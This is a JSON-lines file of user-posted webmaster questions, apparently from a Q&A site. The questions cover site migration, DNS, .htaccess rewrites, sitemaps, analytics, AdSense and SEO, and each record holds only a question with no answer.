{"id":"9434","title":"Moving from wordpress website","text":"Is there an easy way to move a blog from wordpress website i.e. at http:\/\/myblog.wordpress.com\/ to my independent domain i.e www.mywebsite.com"}
{"id":"34955","title":"Weird referral traffic","text":"> **Possible Duplicate:** > Strange incoming links appearing on site statistics I'm getting weird traffic from Japan, from a site called ime.nu Why weird? because I'm not able to identify the link and also when going to their homepage link it just shows an Apache Test Page, while I'm seeing it is a pretty big site in analysis sites (Alexa Ranked 121 in JP) Can someone help me understand the mystery?"}
{"id":"57077","title":"Restrict all robots except Googlebot and Yandexbot","text":"I want to allow Googlebot access all my pages with crawl delay. Yandexbot access only `index.html`. Bingbot access `\/tools` pages. All other bots will not be accessed my pages. Is this _robots.txt_ suitable for this? User-agent: Googlebot Crawl-delay: 300 User-agent: Yandex Allow: \/index.html Disallow: \/ User-agent: bingbot Allow: \/tools Disallow: \/ User-agent: * Disallow: \/"}
{"id":"5294","title":"Personal Domain Email Integration","text":"i have a domain www.personal.pk with which i got my email... the company from which i got hosting from says the my email has following feature * Email (pop3) * IMAP Compatible * WebMail * Email Aliases (unlimited) * Email Forwarding * Catch All Email Address * Auto Reply the thing is i am accessing my email and all the others email through Webmail using a service provided by the company called \"HORDE\"... when i open an mail account i can see the inbox of other by just changing slection of a **select(dropdown) box\\list**.. meaning on user can see the email of others.. somebody told me the solution is integrate it with google and use the Gmails interface... HOW TO DO IT?"}
{"id":"5293","title":"How do I get iFramed images to show up in RSS?","text":"I switched to Skydrive for my image hosting recently, and after getting the page formatting the way it needed to be, I ran into an issue with my RSS feed. In particular, when I used `img src=` the image would show up in the feed. However, the images in iFrames do not. The iFrames are formatted perfectly for my margins and all I need to do is copy and paste an embed code. With the `img`, I will need to add all of the dimension code. Obviously I would like to continue using iFrames since they fit well and need little work, `img src` is a do-able but more involved solution (read: I don't want to have to tinker around in HTML if possible). Most of all I just want all the images on my page to show up in my reader: what are my options?"}
{"id":"13184","title":"What CPM can we expect once we outgrow AdSense?","text":"I've been advised that once a site reaches a certain level of traffic it's possible to get more lucrative ad providers on board that give better return than AdSense. For a reasonable sized ad above the fold (for example 728x90 or 160x600) what sort of CPM can we expect? What level of traffic do we need to achieve before we become attractive to these bigger fish? Thanks in advance for any insights you can share, Gavin"}
{"id":"13181","title":"How do I create DNS records","text":"My domain points to a rails app hosted on Heroku. Is it possible to have blog.mydomain.com point to a WordPress installation somewhere else, e.g. Dreamhost?"}
{"id":"17740","title":"What's the maximum length of the meta keywords tag?","text":"Could you please tell me that what is the maximum length for meta keywords?"}
{"id":"52756","title":"Where to find twitter analytics data?","text":"I cannot find twitter analytics data on ads.twitter.com On many articles is written that I just need to click the \"Analytics\" tab but I can't find it! "}
{"id":"17745","title":"dynamic website development help","text":"I am wondering is there such thing as a WYSIWYG \/ graphical editor for PHP based website such as Drupal and Joomla? I am from the print world, working with code and database just driving me nuts! Thanks~ Jeno"}
{"id":"51312","title":"Problems using PHP on a Plesk Windows dedicated server","text":"I'm having a few issues with my dedicated Windows server that has a Plesk panel: 1.) I can't send e-mail via PHP's `mail()` function, it always returns the following error: > SMTP server response: 550 Requested action not taken: mailbox unavailable or > not local Which setting should I alter in order to enable sending mail? 2.) The `exec()` and `passthru()` PHP functions don't work; their outputs are blank even when I try to run simple commands such as `dir`. Is there an option that I can toggle in the control panel to enable this functionality?"}
{"id":"58584","title":"Domain name explanations","text":"I recently thought to myself why certain websites have very unique domain names. Is it possible for a website to have for example `www.aboutus.example.com` instead of `www.example.com\/aboutus` ? Like for Stack Exchange, it has many different domain names? Is that what it's called? Domain names? For example: * `http:\/\/android.stackexchange.com\/` * `http:\/\/webmasters.stackexchange.com\/` * `http:\/\/gamedev.stackexchange.com\/` So if I want my website to have quite a few pages, can I actually create a website with * `www.aboutus.example.com` * `www.home.example.com` * `www.contactus.example.com` What is this actually called and is it possible?"}
{"id":"36008","title":"RDFa + microdata + xhtml5 - Ranking factors","text":"My website a Legal Search Engine lawmirror.com and there are about 600k records available online. Currently using xHTML5 and on some pages Microdata tags. Same record appears many times on different keywords search. Google already crawled about 1000K pages but traffic is very low. Does using the RDFa, improve the ranking and traffic."}
{"id":"43090","title":"Optimizing large scale e-commerce sites","text":"I have a few questions regarding optimizing large scale e-commerce sites with getting indexed. Over 1 million pages. Should you optimize images for e-stores with over 1 million product images? Should anything be automated for e-stores with over 1 million pages? What can be automated?"}
{"id":"20386","title":"Open-source trouble ticket system","text":"I would like to centralize the support of my many sites. I'm looking for a open source trouble ticket system which: 1) I can host it myself or it can be hosted by a third party (think Wordpress) 2) It has email aliases, so the real email addresses will not be disclosed to the support person Which system would you suggest me?"}
{"id":"20387","title":"Making search engine crawl my site","text":"I have a site with visitors from all over the world, and I'm trying to optimize indexed pages on search engines beside Google (he indexed most of my pages). I see that on Japan search engines I'm aware of (rakuten & ocnsearch.goo) I have about 15% of my pages indexed. On Baidu & Yahoo & Bing I have only ~0.5% although I've given them sitemaps weeks ago. How can I make other search engines crawl my site? Is there a list of sites I should submit site maps to? Any tips?"}
{"id":"48432","title":"will my continuing to use EW4 become a handicap someday later?","text":"I am using Expression Web 4 SP 2 for building my web site but Microsoft says they won't do any further development. I keep hearing about HTML5 and XHTML, etc. and sure sure if my continuing to use EW4 will become a handicap someday later? Please advise. Thanks."}
{"id":"48433","title":"Can Programming Websites Be Accepted for Google Adsense?","text":"Are programming sites not getting Adsense approval? I have a site with few articles. I intend to write more, but i looked around on the net and found out that programming and coding sites are not being accepted anymore. Is this true?"}
{"id":"6990","title":"SEO of <span> in <h1> header","text":"Does the `<span>` element have any SEO side-effects? Are there any semantic preferences between the following two or parsing differences between search engines? ## Clean `<h1>`: <h1>Search Optimised Heading<\/h1> ## vs `<span>` in `<h1>`: <h1>Search <span class=\"someColour\">Optimised<\/span> Heading<\/h1>"}
{"id":"48438","title":"URL not found after rewrite","text":"Using this _.htaccess_ file: Options +FollowSymLinks Options +Indexes RewriteEngine On RewriteRule matches\/(.*)-v-(.*) matches\/matchevent.php?event=$1%20v%20$2 [R=301,L] This url: `http:\/\/www.example.com\/sport\/league\/matches\/team1-v-team2` rewrites to: `http:\/\/www.example.com\/sport\/league\/matches\/matchevent.php?event=team1%20v%20team2` However, the browser returns this: Not Found The requested URL www.example.com\/sport\/league\/matches\/team1-v-team2 was not found on this server. The _.htaccess_ file is inside the `matches` directory where `matchevent.php` is. I have also tried it in the `league` directory. Could someone help me?"}
{"id":"48129","title":"How can I see the referring domain of visitors who's source is a campaign?","text":"Using Google Analytics, we have a campaign that is tracked as CPC, and has several possible sources. The campaign is tagged (using utm_campaign, utm_source and utm_medium) and tracking correctly, as are all the sources. One of the sources sends us traffic from several domains, but I see no way to separate out the domains in my reports. So let's say the campaign is called \"Stack Exchange\" and the source could be 'Webmasters' or 'Web Applications'. If 'Webmasters' can send traffic from 'webmasters.stackexchange.com' or from 'www.stackexchange.com' - how can I see this info? If I go to Traffic Sources > Sources > Campaigns and click the campaign and then the source in question, the only thing that shows up under the 'Source\/Medium' column is the name of the source (like 'Webmasters'). It is not the same as going into Traffic Sources > Sources > Referrals, in this case the 'Source' column shows the domain, but campaign traffic is not included here. It seems like if a referrer is tagged as being part of a campaign and has a source, the source in the tag overrides the referring domain. Is there a way to get the domain as well?"}
{"id":"34952","title":"Looking for free and reliable host for images","text":"For this, I'm looking for a free and reliable host for images, where I can share the image with a direct link. Google Picasa is not a good option because it produces a very long direct link, any other suggestions?"}
{"id":"8146","title":"How to calculate the actual count of downloads through bandwidth","text":"I have a freeware hosted on my website, and use webalizer to track the traffic. I can get the data of my installation file from webalizer in section \"Top 10 of 583 Total URLs By KBytes\" (till Jan. 23): * Hits: 21753 (6.45%) * KBytes: 40150088 (91.27%) The size of installation file is 6564989 bytes, suppose it's 6565 Kbytes. Then the total downloads can be simply calculated as: 40150088 \/ 6565 = 6115, convert to weekly downloads will be 6115 \/ 23 (till Jan. 23) * 7 (days\/week) = 1861. Now comes with my questions: * Is the total downloads 6115 accurate here? * What does the 21753 Hits mean? 2\/3 of the hits failed or people using multi-thread download tools?"}
{"id":"20475","title":"www in Sitemap URL's","text":"I was under the impression that `www` was deprecated but a lot of the sitemap generators seem to rather I use it. I know that Google doesn't like if I mix the two, IE if the URL of the sitemap is `http:\/\/domain.com\/sitemap.xml` and the internal links show `www.` etc. Can anyone enlighten me? Edit: Thanks for all the answers but I think I haven't been specific enough in the question, sorry; what I was trying to find out was why it seemed that the sitemap generators wanted me to put the `www` version in... I discovered from reading Dan Diplo's answer below that I was making a mistake in thinking that I could simply choose at the sitemap generator stage which was the canonical version - in my case anyway this had already been chosen (by me) at my server level and typing the other version into the generators was causing strange results. Thanks for the other informative answers too."}
{"id":"7337","title":"How Does One Make a Sitemap for a Flex Website?","text":"I've got a Flex website and I'm not sure how to make a sitemap for it. For a standard HTML page, sitemaps are straight forward. As Flex sites use a \"pageless\" architecture, I'm not sure what I should do. If anyone has any suggestions, please let me know. UPDATE: As I understand it, Google doesn't look at anything after the # in a URL. So in a deeplinked Flex site, Google wouldn't see the second page-- where it reads view=12 in the sample sitemap below. Or does Google handle sitemaps differently? Should I go ahead and make a sitemap with all of the deeplinked URLS: http:\/\/brainpinata.com\/#view=12, http:\/\/brainpinata.com\/#view=4, etc. <?xml version=\"1.0\" encoding=\"UTF-8\"?> <urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\"> <url> <loc>http:\/\/www.brainpinata.com\/<\/loc> <lastmod>2010-12-01<\/lastmod> <changefreq>weekly<\/changefreq> <priority>1.0<\/priority> <\/url> <url> <loc>http:\/\/brainpinata.com\/#view=12<\/loc> <lastmod>2010-12-01<\/lastmod> <changefreq>weekly<\/changefreq> <priority>1.0<\/priority> <\/url> <\/urlset> Thank you. -Laxmidi"}
{"id":"9299","title":"Need to redirect Wordpress category archives","text":"I recently changed my Wordpress category structure a bit, changing some of the names and placing some under different parent categories. I don't use category name in my post URLs, so that's not a problem. But my category archive pages are indexed and have page rank I don't want to lose. So I need to redirect: \"\/category\/old_cat_name\" to \"\/category\/new_cat_name\". Or in some cases to \/new_cat_name\/new_sub_cat. I gather that I can't do this though the WP Redirection plugin and that I have to modify my .htaccess. Can someone show me what lines to add there--or is there another better way to do this? Thanks."}
{"id":"33455","title":"Sitemap: Hierarchical layout possible?","text":"Is it possible to design my sitemap hierarchically? My site is laid out hierarchically into World=>Continent=>Country=>State=>City=>Articles Can I design my sitemap xml like this? Is there a benefit?"}
{"id":"18433","title":"Using Google Analytics to establish busiest time of day","text":"I am trying to find a way to establish my sites busiest hour, but when using the \"hour of the day\" metric, each seems to have a date specific code, rather than just a number from 0-23, as I would expect. Any ideas how to obtain this info, or if I should be using a different service?"}
{"id":"18432","title":"OpenSourec PHP and MySQL based POS application","text":"I was looking OpenSource PHP and MySQL based POS(point of sail) web application. easy to use for users and flexible for customizing the future. Which alive project you recommend? Thanks,"}
{"id":"11961","title":"Aligning Images in Tables and Lists","text":"I am trying to layout a list vertically that has a checkbox, image and description.... see here for an example... http:\/\/www.sk8loc8.com\/deposit\/list.jpg As you can see the images look a bit too high and i would like them to 'sink' a little to line up with the text and checkbox. i put them in a table to get around the issue, but it acts just the same as an unordered list and the image sits higher. i tried using valign=top for the text and checkbox but this doesnt seem to work, neither does adding a bottom-margin to the text, or adding a top-margin to the image. does anyone have any advice? here is the markup... <table id=\"mapLegend\" class=\"mapLegendTable\" border=\"1\" cellpadding=\"5px\"> <tr title=\"A skatepark we know exists\"> <td valign=\"top\"><input type=\"checkbox\" \/><\/td> <td><img src=\"assets\/images\/gIconRedDot.png\" alt=\"Skatepark\" \/><\/td> <td valign=\"top\">Park<\/td> <\/tr> <tr title=\"A skatepark we strongly recommend\"> <td valign=\"top\"><input type=\"checkbox\" \/><\/td> <td><img src=\"assets\/images\/gIconYellowStar.png\" alt=\"Recommended Skatepark\" \/><\/td> <td valign=\"top\">Recommended Park<\/td> <\/tr> <tr title=\"A Skater Owned Shop\"> <td valign=\"top\"><input type=\"checkbox\" \/><\/td> <td><img src=\"assets\/images\/gIconSkateshop.png\" alt=\"Skate Shop\" \/><\/td> <td valign=\"top\">Skate Shop<\/td> <\/tr> <tr title=\"A skatepark we do not know anything about. It MAY exist but we do not know for sure\"> <td valign=\"top\"><input type=\"checkbox\" \/><\/td> <td><img src=\"assets\/images\/gIconUnconfirmedSpot.png\" alt=\"Unconfirmed Skatepark\" \/><\/td> <td valign=\"top\">Unconfirmed Park<\/td> <\/tr> <\/table> and the old code, as an unordered list... <ul id=\"mapLegend\"> <li id=\"parkIcon\" title=\"A skatepark we know exists\"> <img src=\"assets\/images\/gIconRedDot.png\" alt=\"Skatepark\" \/><span>Park<\/span><\/li> <li id=\"recommendedParkIcon\" title=\"A skatepark we recommend\"> <img src=\"assets\/images\/gIconYellowStar.png\" alt=\"Skatepark\" \/>Recommended Park<\/li> <li id=\"shopIcon\" title=\"A Skater Owned Shop\"> <img src=\"assets\/images\/gIconSkateshop.png\" alt=\"Skatepark\" \/>Skate Shop<\/li> <li id=\"unconfirmedParkIcon\" title=\"A skatepark we do not know anything about. It MAY exist but we do not know for sure\"> <img src=\"assets\/images\/gIconUnconfirmedSpot.png\" alt=\"Skatepark\" \/>Unconfirmed Park<\/li> <\/ul>"}
{"id":"11963","title":"Switching hosting from Google Apps to GoDaddy","text":"I am in a pickle here. I just bought a hosting service from GoDaddy and I already have a domain registered with Google Apps. So I went into the domain control center from Google Apps and I changed the nameservers to point to GoDaddy's and then I deleted all the A records and also removed the www and main CNAME. Then I created an A record with host \"@\" which points to the IP address I got from GoDaddy (this is the server address I see under the category Server in the GoDaddy Hosting Control Center). Also, I see that in this domain center, the domain forwarding is set to forward to my address \"www.domainsite.com\". So right now when I go to my website I see the error \"This website is temporarily unavailable, please try again later.\" Does anyone know how to set this up properly or know what problem I could be having? Thanks!"}
{"id":"18439","title":"Download Link for Custom File Type","text":"I have a client that wants to make their products firmware files available for download on their website. The firmware files have a custom extension: .bi2. The client wants the files to be downloaded directly and not placed in a container (like a .zip file). Is there an IIS setting that will instruct the browser to download the .bi2 file instead of trying to open it as a webpage? Thanks in advance for your help!"}
{"id":"57461","title":"Is a Google Analytics view updated when a filter is removed?","text":"Several months ago a filter was erroneously added to a view for an entire domain. E.g. The view for `example.com` was accidentally limited to `raresubdomain**\\\\\\\\.example.com`, so almost no data shows up since that day. I've just removed this filter, and data for the full domain is now showing up in the Real-Time section, but will the view of the past days be updated in response to my filter removal? If not, is there anyway to request an update, or access all that data my site was sending them?"}
{"id":"12923","title":"What is a good way to get many inbound links to your site?","text":"How do you get links to your site from other sites?"}
{"id":"52845","title":"Greater PHP version required","text":"I have bought a new hosting plan and trying to install WordPress from the beginning. I am new with the installer I am using now. The error I get is unusual for me and i cant manage this problem. Should I wait my host feedback or I could solve it by myself?  I think i need to update PHP version but I do not know HOW to..."}
{"id":"24344","title":"Google Analytics: Why is Avg Time on Site lower than Avg time on Page?","text":"I have the following Custom Report set up in Google Analytics: Metrics: * Avg Time on Page * Avg Time on Site Dimensions: * Page So a report looks like this: Page Avg Time on Page Avg Time on Site \/an-article 00:03:14 00:00:11 \/another-article 00:05:11 00:01:07 \/something-written 00:03:00 00:00:31 Why is it that for each 'page', the 'site views' are significantly lower?"}
{"id":"53401","title":"Will changing only a few keywords avoid duplicate content penalties?","text":"If I reuse the content of the website, for example if the content of my Website for the URL `www.mydomain.com\/NewYork` is `The Best Brown Bread in New York`, then if someone opened my other example URL `www.mydomain.com\/Chicago` its content should be `The Best Brown Bread in Chicago`. My content is mostly static but replaced by the last word in the URL, then for `www.mydomain.com\/myword` the keyword is \"myword\" and the output for the content comes like `The Best Brown Bread in myword` So, in case of large text, replacing just one word or few words will work? Or will Google penalize me for this?"}
{"id":"52841","title":"What is the definition of \"Avergage Monthly Searches\" in Keyword Planner","text":"Is the number represented in Average Monthly Searches the number of searches for that specific keyword and the maximum amount of possible clicks to my site? It seems the answer is obviously yes, but I need to confirm this as the average searches for one of my keywords is 400 which, if the above is true, will not be sufficient and I'll have to find a better keyword. This keyword gives me a 7 PR, but does nothing for volume. As a starting website, is there a good (minimum) number of monthly searches for a specific keyword that I should be targeting, but that is not overly competitive?"}
{"id":"53409","title":"Does PageRank flow to pages that are only listed in the sitemap.xml?","text":"Let's say you have a small website that has a PR of 3. On top of that you have on the domain itself a blog that is not linked to the website. The blog along with its posts are however listed in the _sitemap.xml_. Because they are listed in the _sitemap.xml_ Google will index them. Do they however gain any PageRank as well?"}
{"id":"10218","title":"the zen of adwords","text":"I'm a hardcore developer gone freelance and I'm getting more and more requests for adwords from my clients. I've just started to read up on it, and of course I'm starting with wikipedia and have moved onto the main site now. I wanted to post here if anyone has some tips or some good blog entires that describe how it works. Strategy posts would be awesome. As always, thanks!"}
{"id":"28355","title":"Infrastructure to effectively set up experiements and learn from them","text":"My website is in the early stages of creating our first product, a place on the web, where one can ask lawyers questions at a fraction of their normal costs. I got inspired by this video, which is recommended by Jeff Atwood, which talks about getting feedback faster, which is the reason for this question. **The problem** Needless to say, we want our conversion rates to be as high as possible. Therefore, we want to be able to rapidly set up a new experiment where we change something on the site (like moving an image slightly, rewriting a sentence etc.). We then want to present the modified page to a random subset of the users. After that we will compare the conversion rates of the experiment with another version. I could very well imagine that we want to run 10-100 experiments simultaneously and it would be nice to have features, where experiments that obviously have worse results will be ended before schedule. **My question** Does infrastructure to support the whole process exist? A short description of our infrastructure... We use EC2 and PHP and have a script to automatically start up new instances with all needed software. Still, starting up a new server for every experiment, seems like a bit of overkill, so I am wondering what other options exist."}
{"id":"63310","title":"Request Removal of naked domain from Google Index","text":"I have a site which was temporarily available at both `example.com` and `www.example.com`. All traffic to `example.com` is now redirected to `www.example.com`, however during the brief period that the site was available at the naked domain, Google indexed it. So Google now has two versions of every page indexed: www.example.com www.example.com\/about_us www.example.com\/products\/something ... and example.com example.com\/about_us example.com\/products\/something ... For obvious reasons, this is a bad situation, so how can I best resolve it? Should I request removal of these pages from the index? There is still content at these URLs, but they now redirect to the `www` subdomain equivalent. The site has many hundreds of pages, but the only way I can see to request removal is via the `Remove outdated content` screen in Webmaster Tools, one URL at a time. **How can I request removal of an entire domain (ie. the naked domain) without it effecting the true site located at the`www` subdomain? Is this the correct strategy given that all the naked domains now redirect to their `www` equivalent?**"}
{"id":"7050","title":"How to improve WOT score of a site?","text":"I don't understand why my site `Trustworthiness` and `Vendor Reliability` are considered bad by WOT. I do not have ADS, I never spammed my site around, I do not have links that point to untrusted sites. Is this an error? How can improve it and get back to green lights?"}
{"id":"7055","title":"Official guides for pricing","text":"very often we see on (other) forums the following wide question: **_how much should I charge for making a website?_** Well, recently in Brazil a web studios association were made with the most local famous web agencies, and they published a nice pricing guide (covering many different kind of jobs, and with rich descriptions). I won't post link to pdf as of now main due it is on portuguese and has local pricing. I found this reference useful, despite the pricing question is too subjective and broad to answer. My question is: does anyone know any other pricing guides from web producers associations or something similar (I'm not referring to a simple spreadsheet)?"}
{"id":"33983","title":"Mod Rewrite - url rewriting","text":"I am very new to mod rewrite. I need to redirect any user with \"citzenhawk\" parameter in their url to my url for example http:\/\/www.mywebsite.com\/?sc=CX12N003&cm_mmc=affiliate--citizenhawk--nooffer-_-na&prfc=5&clickid=0004c845fa9a87050a4277221a003262 should result into http:\/\/www.mywebsite.com\/ Here are my rewrite conditions: RewriteCond %{QUERY_STRING} (&|^)cm_mmc=(.)citizenhawk(.)(&|$)$ RewriteRule ^\/rrs\/ [NC,R=302,L] Where am I going wrong? Is my RewriteCond wrong?"}
{"id":"34360","title":"HTML snapshotting services","text":"Are there any services out there that will trap Googlebot and serve a html snapshot, rendered by an actual browser, of your website? This is pretty much needed if you want to implement the ajax crawling specification."}
{"id":"54755","title":"Why drop off in Google impressions?","text":"I'm seeing a severe drop off in Google impressions. See attached screenshot from Google Analytics:  I haven't been able to attribute this to any changes on the site. As you can see, this started happening on Oct 21st. Does anyone know if this corresponds to a Google Search update? Otherwise, does anyone have any suggests for tracking down the cause? I'm pretty stumped."}
{"id":"5332","title":"How do I migrate mail from one shared hosting account to another?","text":"My web-host suddenly decide to merge with another company and that move has left me in the lurch. I have two weeks till I can migrate my mail data over to another account. The only way that I can transfer the data to the new account is through a mail client and manually copying the data to the new hosting by recreating the mail accounts and restoring all the mails from the mail client to them. Is there anyway that I can automate this process, or a faster way that I could speed-en up this process. I have over 400 email accounts to migrate which is around 2 gigs of matter. And the mails don't stop coming in. If I could do this directly server to server without downloading and uploading the matter, it would be very convenient. That way I will only have to create the accounts and the matter would transfer automatically. How can I avoid this procedure in the future? And is there a way to backup emails from a mail server?"}
{"id":"37758","title":"How can I rewrite a subdomain to go to a specific file in a specific folder?","text":"I've done searching for my answer and have tested a few solutions, but nothing has worked so far. I'm trying to get a URL like this `http:\/\/baseball.sports.com` to rewrite to `http:\/\/pro.sports.com\/baseball-index.php`. However, I still need to keep the domain the same (`http:\/\/baseball.sports.com`). The reason being I have about 5 subdomains (`baseball`, `football`, `soccer`, etc.) that I want to run off the same code base (`pro.sports.com`). Everything is on the same server. I'd be happy to answer any other questions that would help me get a resolution. I truly appreciate any direction that can be given to me to solve this."}
{"id":"37973","title":"Rankings dropping after small URL-change WITH 301-redirect","text":"Two weeks ago, we attempted to make the URLs of ca. 12 pages more search- engine friendly. We changed three things. **1. Make URLs more SEF** > from: \/แอร์-ราคา\/brandname.html (meaning: \/aircon-price\/daikin.html > > to: \/แอร์-brandnameinenglish-brandnameinthai.html We set up 301-redirects from the old to the new URLs. You can find an example and the link to our page here: http:\/\/bit.ly\/XRoTOK There are no direct external links to the old URLs. **2. Added text to img-links from homepage to brand-pages** Before those changes, we only linked to those brands with a picture, so we added some text under the picture. You can see that here, in the left submenu: http:\/\/bit.ly\/XRpfoF **3. Minor changes to Title, h1-Tags, Meta Description, etc.** Only minor changes, to better match the on-site optimization with targeted keywords. For example, before we used full brand names, after we used what was really searched for: > from: Mitsubishi Electric Mr. Slim > > to: แอร์ Mitsubishi (means: Aircon Mitsubishi) Three days after these changes, we noticed a heavy drop (80% loss in non-paid search traffic) in rankings and traffic for those pages, and also for all pages which are sub-categorized. Rankings for all keywords not affected by the changes stayed the same. Any ideas, what happened, and how we can regain our old rankings? We have already submitted a new sitemap."}
{"id":"31588","title":"Bad Bot blocking Revisited","text":"I've read a lot about bad bot blocking, php scripts, .htaccess techniques, etc... Is this a valid method? Since .htacces can rewrite and send a bad bot a 403 deny or forward to something like spam poison, is it possible to Disallow a folder, then through .htaccess in that specific folder redirect to spampoison? Since Apache reads each .htaccess independently and follows specific instructions, then a bad bot not following robots.txt would just be redirected. Or anyone trying to access, \/badbot\/ or whatever I choose to call my trap folder."}
{"id":"15931","title":"Web Server vs Web Hosting","text":"I have always thought about hosting sites on a local web server with MAMP or a web server application on a reliable and fast connection, but I was wondering if it would be better to just go with web hosting? Also how would web hosting or a web server handle a sudden surge in traffic in a huge scale?"}
{"id":"8636","title":"does co.uk domains need a uk citizen?","text":"I am a us citizen based in the us. I would like to register a co.uk domain. Do I need to be a uk citizen or have some other sort of connection to the uk to register that domain? For instance, .ca (canada) requires this and that is why I ask. thx"}
{"id":"34405","title":"Adding a page indicating that a website is in maintenance","text":"I use **Spring MVC** + **Apache tomcat** + **Apache httpd** and I am seeking for best practices in order to redirect all http requests to a page indicating to my users that the website is in maintenance. FYI, my website will be hosted on **Cloudfoundry**."}
{"id":"8144","title":"How to exclude a website from real-time Google search results?","text":"Google bots have recently indexed my test web site which is not intended for users. How can i exclude my JSP web site from google's search result?"}
{"id":"34400","title":"Saving website copy and browsing saved copies","text":"How can I automatically save site's copy each week with an option to browse saved copies? I need kind of WebArchive, but on my local computer."}
{"id":"26735","title":"How can I stop users from leaving after they are told they violated a rule?","text":"I run a small forum, and occasionally we get someone who will break a minor rule, e.g. they post something in the wrong forum. When this happens we'll usually send them a message explaining to them how forums work and letting them know that there message would be better received if they posted it in the right forum. However, often those users will just leave. That's not the desired affect: the rule violation was minor and we don't want them to leave because of that. Does anyone have any ideas on how we can reduce the number of users who will leave after we tell them that they violated the rules?"}
{"id":"26739","title":"looking for a Q and A tool with payment for answer","text":"I would like to include an expert Q and A system into my site that works like stackoverflow but also gives the user the option to promise money for the answer."}
{"id":"42327","title":"Why sometimes images load top-bottom, and sometimes by \"enhancing\" resolution?","text":"In everyday use of internet, i notice that most times, any image that loads, loads by \"growing\" itself vertically, from top to bottom,. that is, you first see only a few rows of pixels, and it increments until it is full height. I.e, the way an image would print in a physical printer. But other times, the images loads full-size, that is by using all their width and height, but they load at very low resolution, they look very pixelated and blurry, then they have \"swipes\" that improve the resolution a bit each step. After a few \"swipes\" it gets the max resolution of the image. (I don't know if _resolution_ is the proper term, but i hope you get the idea) So, why or when does each happen? what are the conditions? On what it depends? I have no idea of web protocols, transfers, data-encoding or any of that, so please give an easy to understand answer for a non expert (a regular internet user)."}
{"id":"46946","title":"Website Systematically Blocking IP Addresses","text":"I have a series of websites hosted at the same server. The issue I am having is that it keeps blocking me access from different means to the sites. Allow me to explain: * From my IP, Blocked. * From Boomproxy: Blocked * From Zend2: Blocked * From hidemyass: Blocked * From Zacebook: Accessible **The \"Block\" message goes something like this:** > Exact error is: This webpage is not available The connection to www.xxx.yyy > was interrupted. Here are some suggestions: Reload this webpage later. Check > your Internet connection. > > Restart any router, modem, or... etc, etc ...Go to the Chrome menu > > Settings > Show advanced settings... > Change proxy settings... > LAN > Settings and deselect the \"Use a proxy server for your LAN\" checkbox. Error > 101 (net::ERR_CONNECTION_RESET): The connection was reset. Please remember that no matter what proxy service I use, it systematically \"blocks\" them one by one. Does anybody know how this keeps happening? It also affects any access to the sites from my network."}
{"id":"60970","title":"I18n website and URL prefix iso639","text":"I'm adding i18n to my website. For translated pages I add iso639 code of the language like this: http:\/\/example.com\/en\/mypage.php But I'm curious about language code. Should I use iso639-1 (en) or iso639-2 (eng) code ? http:\/\/en.wikipedia.org\/wiki\/ISO_639#Relations_between_the_parts When I check, I see that most of the websites including Wikipedia, uses 2 character language code ? What is the standart or most widely used option for language codes ?"}
{"id":"50273","title":"SEO for german website - can I use senukeX?","text":"I'm going to use senukeX to go to the top with small german website... the problem is -> it's in german and wordpress, social bookmarks, wikis in Senuke are in english. Does it matter?"}
{"id":"24387","title":"Filter combinations as indexable pages: good or bad for SEO?","text":"I'm building a site based on tags for navigation (not a tree structure). My idea was to create a unique URL representing a unique combination of tags. The problem is that the sum of every combination of tags will produce over a million pages. Is this bad? These pages contain text and links pointing to the real content pages of the site, so not content at all, just dynamically generated content."}
{"id":"2997","title":"Time to wait before submitting again site to DMOZ.org","text":"Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months. For some of these sites I had also to resubmit them again in order to see them listed. My question is: in case site A does not get listed in DMOZ after the 1st submission, do you know how long should I wait before submitting site A again? I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person. Maybe some of you was\/is a DMOZ editor and knows the answer. Thanks * * * UPDATE: Thanks to _danlefree_ , I should have explained in my question that I know on DMOZ guideline they say to submit site only once. But by following slavishly DMOZ guideline: **a site that was not included on 1st attempt should not be submitted again for the rest of your life.** I think it's common sense to try to understand what was wrong with the not included site, try to fix it and **after some time** try to submit the site again to DMOZ for inclusion. My question is more about what you percieve to be the right time to wait before submitting again a site to DMOZ."}
{"id":"46945","title":"Is it possible to use Whois Guard on dot pro domains?","text":"I have purchased two dot pro domains but the holder info is exposed. Is it possible to use Whois Guard or the like on dot pro domains? If so, Do you know any service provider or registrar that offers this?"}
{"id":"68930","title":"how a web agency handle multiple client sites","text":"I have few sites on different shared hosting and I want to move them in a new VPS. Most of them are build with Drupal (version 6 and 7), but also I want to be able to host and maintain Wordpress sites. So what is the solution that's most used in a web agency where you can have multiple client sites with different CMS? Is the \"multiplre sites\" in both Drupal and Wordpress the prefer way to do that?"}
{"id":"47527","title":"Quick question about Google AdSense policy","text":"Is it against the Google AdSense terms of use to direct users to click on the ads? I mean I'm not gonna put a big flashing arrow or anything but what about \"check out our sponsors\" or something subtle like that?"}
{"id":"65706","title":"What imprint do I have to use to comply with various international laws?","text":"In German law every website has to have an imprint clearly stating the owner and their contact information. This is nothing I really worry about since I have already created it. But my question is what decides which countries' laws apply to my website? My website is running on a root server in Canada, I am German citizen, I will be using a `.tk` (New Zealand) domain, and the website is designed for an international audience. I am pretty sure the domain doesn't matter at all. So which countries' laws apply to my website? If it is the Canadian law, then what do I have to do in order to stay legal?"}
{"id":"47523","title":"Solving \"Googlebot encountered extremely large numbers of links on your site.\"","text":"I'm getting the following warning over and over again in google webmaster tools Googlebot encountered extremely large numbers of links on your site. The examples he's showing don't give me much clue on what is really wrong here. How would you suggest me to resolve this issue? UPDATE: My site has a large amount of pages (40M) with ~10M indexed. Should I consider adding noindex to some of the pages to make it 'smaller' for search engines?"}
{"id":"47522","title":"Multilingual website avoiding duplicate content and right referral in SERP","text":"I have a site with UGC in many languages. The translation I'm doing is for the titles so for each page I have multiple copies, one per language. I want to make sure 1. Search engines don't see this as duplicate content. 2. Search engines direct to the right language link. What I've done is specifying the language in a sub domain, so for each page I have: mydomain.com\/page ja.mydomain.com\/page es.mydomain.com\/page And in each one of those pages added in the HTML <link rel=\"alternate\" hreflang=\"en\" href=\"http:\/mydomain.com\/page\" \/> <link rel=\"alternate\" hreflang=\"jp\" href=\"http:\/\/ja.mydomain.com\/page\" \/> In order to make sure people are viewing the right language I'm redirecting according to the IP of the viewer, to the right subdomain. For example if I get a visitor from Japan I'm redirecting to ja.mydomain.com\/page while leaving an option to change language manually. Is there a way to avoid the redirecting I'm doing and let search engines link to the right page? Should I specify canonical for these pages to avoid duplicate content? Should I specify geo-targeting per subdomain in google webmaster tools?"}
